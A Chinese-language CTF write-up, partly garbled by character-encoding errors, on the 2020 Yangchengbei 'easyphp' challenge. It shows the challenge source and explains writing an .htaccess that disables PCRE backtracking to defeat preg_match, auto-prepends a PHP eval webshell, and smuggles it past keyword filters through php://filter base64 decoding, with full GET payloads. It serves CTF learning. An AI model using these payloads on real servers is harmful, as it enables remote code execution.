[羊城杯2020]easyphp --- 伪协议的使用时机,---python上传.htaccess的利用 -- preg_match绕过
目錄:
- 一. 自己做:
- 二、學(xué)到的。不足:
- 三、
- 1. 利用.htaccess來(lái)設(shè)置文件自動(dòng)包含
- 2. 繞過(guò) \n 的過(guò)濾
- 3. 繞過(guò)stristr的過(guò)濾。
- 4. 繞過(guò)preg_match
- 2.思路二:
- 注意用python寫(xiě)入時(shí)的注意點(diǎn):
好像 原題的話,是由聲明的,所以我的本地才不行。
本題環(huán)境只對(duì)index.php文件進(jìn)行解析。并且開(kāi)頭和末尾都對(duì)當(dāng)前目錄下的文件進(jìn)行檢查,刪除(unlink)除了index.php外的所有文件
刪除文件,之后寫(xiě)入htaccess文件,那么只能夠index.php作為木馬文件,
那么我傳入一個(gè)htaccess,讓這個(gè)index包含htaccess,有一句話木馬,但是再一次用index使用木馬的時(shí)候,就會(huì)把htaccess刪除了啊,就沒(méi)有木馬了。
一. 自己做:
源碼:
<?php$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}if(!isset($_GET['content']) || !isset($_GET['filename'])) {highlight_file(__FILE__);die();}$content = $_GET['content'];if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {echo "Hacker";die();}$filename = $_GET['filename'];if(preg_match("/[^a-z\.]/", $filename) == 1) {echo "Hacker";die();}$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}file_put_contents($filename, $content . "\nHello, world"); ?>不懂,為什么直接寫(xiě)入馬的話,不給解析程PHP,而是直接輸出,我在本地上添加鏈接描述都是好的。
二、學(xué)到的。不足:
用的是 寫(xiě)入 .htaccess。然后自己包含一句話?cǎi)R,
三、
1. 利用.htaccess來(lái)設(shè)置文件自動(dòng)包含
#format php_value setting_name setting_value #example php_value auto_append_file .htaccess可以使用auto_prepend_file和auto_append_file來(lái)進(jìn)行包含,這樣每個(gè)頁(yè)面都會(huì)require所指定的PHP文件,
auto_prepend_file # 在頁(yè)面的頂部加載文件 auto_append_file # 在頁(yè)面的底部加載問(wèn)題注意:auto_prepend_file 與 auto_append_file 只能require一個(gè)php文件,但這個(gè)php文件內(nèi)可以require多個(gè)其他的php文件。。。
2. 繞過(guò) \n 的過(guò)濾
題目會(huì)在寫(xiě)入文件的后面添加\nHello, world,我們構(gòu)造payload時(shí),結(jié)尾要用\ 處理content中的\n ,不然違背.htaccess 書(shū)寫(xiě)格式會(huì)導(dǎo)致Apache 運(yùn)行崩潰
比如,我們需要寫(xiě)入:
php_value auto_prepend_file .htaccess #<?php phpinfo();?>\如果末尾不加\來(lái)轉(zhuǎn)義\n,文件內(nèi)容就會(huì)變?yōu)?/p> php_value auto_prepend_file .htaccess #<?php phpinfo();?> Hello, world
會(huì)出現(xiàn)末尾行的字符串不符合htaccess文件的語(yǔ)法標(biāo)準(zhǔn)而報(bào)錯(cuò)導(dǎo)致htaccess文件無(wú)法執(zhí)行,然后全部500.
3. 繞過(guò)stristr的過(guò)濾。
過(guò)濾了關(guān)鍵字,可以用 base64,filter過(guò)濾器進(jìn)行繞過(guò)。
4. 繞過(guò)preg_match
if(preg_match("/[^a-z\.]/", $filename) == 1) {echo "Hacker";die();}preg_match的返回值:
returns 1; // 如果匹配到. returns 0; // 如果未匹配到. returns FALSE; // 發(fā)生錯(cuò)誤時(shí).正則中寫(xiě)的是 if(preg_match("/[^a-z\.]/", $filename) == 1),而不是if(preg_match("/[^a-z\.]/", $filename) !== 0)。這樣我們可以用其他的情況來(lái)進(jìn)行繞過(guò),比如,使它發(fā)生錯(cuò)誤,。
文件名寫(xiě)入php://filter需要繞過(guò)preg_match函數(shù)的檢查。第一印象想到preg_match處理數(shù)組是會(huì)返回NULL,然而這里file_put_contents函數(shù)傳入的文件名參數(shù)不支持?jǐn)?shù)組的形式。
在PHP中,正則匹配的遞歸次數(shù)由 pcre.backtrack_limit 控制 PHP5.3.7 版本之前默認(rèn)值為 10萬(wàn) ,PHP5.3.7 版本之后默認(rèn)值為 100萬(wàn) ,該值可以通過(guò)php.ini設(shè)置,也可以通過(guò) phpinfo 頁(yè)面查看。
。。。
那么可以設(shè)置pcre.backtrack_limit值為0,使得回溯次數(shù)為0,來(lái)使得正則匹配什么都不匹配,即返回false。。
那我我們就在.htaccess中修改配置,
php_value prce.backtrack_limit 0 php_value prce.jit 0 php_value auto_prepend_file .htaccess #a<?php eval($_POST(cmd)); ?>\因?yàn)閜hp版本>=7,所以需要特別設(shè)置pcre.jit這個(gè)環(huán)境變量為0,不適用JIT引擎來(lái)匹配正則表達(dá)式,就使得pcre.backtrack_limit這個(gè)環(huán)境變量能正常生效,繞過(guò)preg_match函數(shù)。
php_value pcre.backtrack_limit 0 php_value prec.jit 0 #\也就是
?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&filename=.htaccess。
然后寫(xiě)入一句話,,這里用 base64加密,因?yàn)椴蛔屛覀兂霈F(xiàn)數(shù)字和空格,,所以就不行了。
我這樣第二次傳入馬兒的時(shí)候,是不能用post傳參的,因?yàn)樵L問(wèn)網(wǎng)頁(yè)一次以后就刪除了htaccess,所以只能夠訪問(wèn)一次,所以還是要用get方法傳參的,
?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcGhwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fcHJlcGVuZF9maWxlIC5odGFjY2VzcwojYTw/cGhwIGV2YWwoJF9HRVRbMV0pOyA/Plw=&1=phpinfo();
說(shuō)一說(shuō),為什么不直接寫(xiě)入這個(gè)上面的這個(gè)自動(dòng)包含的東西,呃,,,因?yàn)閷?xiě)不進(jìn)去,要有prepend_file,有file關(guān)鍵詞,而題目會(huì)檢測(cè)我們傳入的content參數(shù),所以直接寫(xiě)入是不行的,
那不行啊,我們就是要寫(xiě)入這么一段代碼進(jìn)去。
這個(gè)時(shí)候,就要想到php的偽協(xié)議了。我們傳入的時(shí)候是一種編碼,然后用過(guò)濾器解碼之后寫(xiě)入,然后就行了。那么什么時(shí)候用php://filter/write=convert.base64-decode/resource=.htaccess。這樣用過(guò)濾器來(lái)操作,
那么這樣的話文件名filename就會(huì)收到限制了。
下面這個(gè)是限制條件:反斜杠和冒號(hào)肯定是不行了啊。
那么就要繞過(guò)這個(gè)preg_match,正好就要那個(gè).htaccess來(lái)設(shè)置:
所以我們第一次傳入:
?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&filename=.htaccess。
然后再用哪個(gè)PHP的過(guò)濾器傳入我們的那一部分,
?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcGhwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fcHJlcGVuZF9maWxlIC5odGFjY2VzcwojYTw/cGhwIGV2YWwoJF9HRVRbMV0pOyA/Plw=&1=phpinfo();
吐了,,我沒(méi)成功,思路是正確的 啊,
2.思路二:
不是我們像要傳入哪個(gè)prepend_file么,然后過(guò)濾了file,那么我們就在傳入的時(shí)候,用\把file給分隔開(kāi)就好了。
我在本地打可以,遠(yuǎn)程環(huán)境就不行,,,吐了。。
注意用python寫(xiě)入時(shí)的注意點(diǎn):
反斜杠連接符要進(jìn)行注釋,#在python中是注釋符,然后用\#這樣也不行,就只能用url編碼了
總結(jié)
以上是生活随笔為你收集整理的[羊城杯2020]easyphp --- 伪协议的使用时机,---python上传.htaccess的利用 -- preg_match绕过的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: android guide 中文版,Sk
- 下一篇: 短信API接口demo示例-PHP/Me